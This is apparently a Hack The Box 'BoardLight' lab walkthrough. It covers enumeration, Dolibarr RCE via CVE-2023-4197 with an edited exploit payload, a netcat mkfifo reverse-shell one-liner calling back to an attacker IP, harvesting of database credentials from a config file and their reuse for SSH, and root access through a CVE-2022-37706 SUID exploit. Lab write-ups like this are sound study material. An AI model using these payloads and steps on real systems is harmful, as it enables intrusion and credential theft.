
HTB-Boardlight



Information Gathering

Rustscan

Rustscan find SSH and HTTP running on target:

```
rustscan --addresses 10.10.11.11 --range 1-65535
```

PORT STATE SERVICE REASON 22/tcp open ssh syn-ack 80/tcp open http syn-ack

Enumeration


HTTP - TCP 80

The website shows nothing special:

BoardLight is a cybersecurity consulting firm specializing in providing cutting-edge security solutions to protect your business from cyber threats




At the bottom of the page, there's domain **board.htb** found, which we add to /etc/hosts:



Reading the source code, we can see there's a commented out part with: portfolio.php

```
<!-- <a class="nav-link" href="portfolio.php"> Portfolio </a> -->
```

However, nothing shows up when trying to access it:



File not found.

Let's see if there's other subdomains using gobuster:

```
sudo gobuster vhost --append-domain -u http://board.htb -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```


Found: crm.board.htb Status: 200 [Size: 6360]

crm.board.htb is found.

Let's add it to /etc/hosts as well.


crm.board.htb

The website is running on **Dolibarr 17.0.0** and shows a login portal:




Clicking on **Password Forgotten** will lead us to password regeneration page:

http://crm.board.htb/user/passwordforgotten.php



Attempting some default credentials on login portal, admin:admin lets us bypass the portal:



Now that we are authenticated, let's see what can be done from here.

Searching for the exploit relevant to the version, it seems like there are couple of them:

WEB MY BING IMAGES VIDEOS ACADEMIC DICT : MORE

About 3,190,000 results



https://github.com/advisories/GHSA-9wqr-5jp4-mjmh •

Dolibarr vulnerable to remote code execution via uppercase ...

WEB May 30, 2023 · Saved searches Use saved searches to filter your results more quickly

Shell as www-data

CVE-2023-4197

Let's try exploiting CVE-2023-4197:

単CVE-2023-4197 Detail

Description

Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.

Using the <u>exploit code</u>, let's see if we can successfully execute commands remotely:

```
(yoon® kali)-[~/Documents/htb/boardlight]
$ python exploit.py http://crm.board.htb admin admin whoami
===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====
[+] Attempting to authenticate...
[+] Authenticated successfully!
[+] Attempting to create a website...
[+] Created website name: "35e2d3ba840e4b70adc4a81bdf811b32"!
[+] Attempting to create a web page...
[+] Created web page name: "1cc02249bba24cf79538ac0a5f525d11"!
[+] Attempting to modify the web page...
[+] Web page modified successfully!
[+] Triggering RCE now via: http://crm.board.htb/public/website/index.php?website=35e2d3ba840e4b70adc4a81bdf811b326pageref=1cc02249bba24cf79538ac0a5f525d11
[+] RCE successful! Output of command:
<? echo system('whoami'); ?>
```

Hmm, it seems like there's an minor error with the code execution part.

Let's make change to the exploit code to ensure that full PHP tags <?php ... ?> are used instead of short tags <? ... ?> , which may not be enabled on all servers.

Below is the code before modification:

```
"htmlheader": f"<? echo system('{cmd}'); ?>"
```

Below is the code after modification:

```
"htmlheader": f"<?php echo system('{cmd}'); ?>"
```

After modifying the code, we can now successfully execute commands:

```
-(yoon⊗kali)-[~/Documents/htb/boardlight]
 -$ python exploit.py http://crm.board.htb admin admin whoami
===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====
[+] Attempting to authenticate...
[+] Authenticated successfully!
[+] Attempting to create a website...
[+] Created website name: "c10c146fccf74bd68b06dd5cdc5b941e"!
[+] Attempting to create a web page...
[+] Created web page name: "c3065b1d8c5c42d2ab05df2e9621d57b"!
[+] Attempting to modify the web page...
[+] Web page modified successfully!
[+] Triggering RCE now via: http://crm.board.htb/public/website/index.php?website=c10c146fccf74bd68b
06dd5cdc5b941e8pageref=c3065b1d8c5c42d2ab05df2e9621d57b
[+] RCE successful! Output of command:
www-data
www-data
```

Reverse Shell

Using the following payload, we will be able to spawn a reverse shell on netcat listener:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>\&1|nc 10.10.14.29 1337 >/tmp/f
```

We now have a shell as www-data:

```
____(yoon® kali)-[~/Documents/htb/boardlight]
$\frac{\sudo}{\sudo} \text{ rlwrap nc -lvnp 1337}
listening on [any] 1337 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.11] 42658
/bin/sh: 0: can't access tty; job control turned off
$\frac{\subo}{\subo} \text{ whoami}
\sum \text{ www-data}
```

Let's first enhance the shell using Python:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
$ python3 --version
Python 3.8.10
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/website$
```

Privesc: www-data to larissa

Local Enumeration

In order to fetch user flag, we would need to escalate our privilege to larissa:

```
www-data@boardlight:/home$ ls -l
ls -l
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa
```

Enumerating around, it seems like there could be some juicy information inside below config files:

```
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls
ls
conf.php conf.php.example conf.php.old
```

Inside **conf.php**, SQL credentials are found:

```
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
```

Let's try reusing the password above on SSH.

Luckily, we **larissa** was using the same password for mysql and we now have SSH connection:

```
__(yoon@kali)-[~/Documents/htb/boardlight]
$ ssh larissa@board.htb
larissa@board.htb's password:
Last login: Sun May 26 20:09:03 2024 from 10.10.14.29
larissa@boardlight:~$ whoami
larissa
```

Privesc: Larissa to root

Local Enumeration

Let's see what ports are open internally:

```
larissa@boardlight:~$ netstat -ano | grep 127.0.0.1
tcp
           0
                  0
                            .1:3306
                                             0.0.0.0:*
                                                                       LISTEN
                                                                                   off (0.00/0/0)
                             1:33060
                                                                                   off (0.00/0/0)
tcp
           0
                  0
                                             0.0.0.0:*
                                                                       LISTEN
udp
           0
                  0
                          .0.1:54751
                                             127.0.0.53:53
                                                                       ESTABLISHED off (0.00/0/0)
```

MySQL(3306) seems to be open.

Let's access it using the credentials found earlier:

```
larissa@boardlight:/tmp$ mysql -u dolibarrowner -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5596
Server version: 8.0.36-OubuntuO.20.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
```

dolibarr database seems interesting:

From **llx_user** table, we can obtain password hashes:

```
select * from llx user;
```

login	pass_crypted	lastname
dolibarr	$2y\$10 \\ \mbox{VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm}$	SuperAdmin
admin	2y\$10 gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96	admin

Unfortunately, discovered hashes were uncrackable.

CVE-2022-37706

Let's take a look at SUID files:

```
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
```

```
larissa@boardlight:~$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 14488 Apr 8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
```

There are couple of SUID files that starts with **enlightment**, which we've never seen before:

Googling a bit on this, it seems like we would be able to exploit this SUID using **CVE-2022-37706**.

Using the exploit downloaded from <u>here</u>, we can easily get a shell as the root:

```
larissa@boardlight:/tmp$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
```

References

- https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
- https://starlabs.sg/advisories/23/23-4197/